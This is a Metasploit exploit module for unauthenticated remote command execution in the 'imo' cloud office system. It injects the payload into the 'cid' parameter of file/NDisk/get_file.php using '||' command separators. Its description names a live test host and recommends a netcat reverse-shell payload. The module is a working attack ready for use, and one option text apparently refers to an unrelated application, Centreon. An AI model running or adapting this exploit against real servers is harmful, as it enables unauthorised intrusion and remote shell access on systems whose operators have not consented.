require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'imo云办公室系统任意命令执行',
                      'Description' => %q{
                           file/NDisk/get_file.php,无需登录等认证即可执行任意系统命令, 测试地址:http://imo.huimai365.com payload cmd/unix/reverse_netcat
      },
                      'Author' =>
                          [
                              '路人甲',
                              '扶摇直上打飞机'
                          ],
                      'License' => MSF_LICENSE,
                      'References' =>
                          [
                              ['url', 'http://www.wooyun.org/bugs/wooyun-2015-0161332']
                          ],
                      'Privileged' => true,
                      'Platform' => ['unix'],
                      'Targets' => [['all of them', {}],],
                      'Arch' => ARCH_CMD,
                      'DefaultTarget' => 0,
          ))
    register_options(
        [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
        ], self.class)
  end

  def post_payload
    print_status("start to exploit ....")
    res = send_request_cgi(
        {
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'file', 'NDisk', 'get_file.php'),
            'headers' =>
                {
                    "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0",
                },
            'vars_get' =>
                {
                    'cid' => "w ||#{payload.encoded}||",
                    'nid' => "1",
                },
        }, 10)
  end

  def exploit
    post_payload
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def targeturi
    datastore['TARGETURI']
  end

end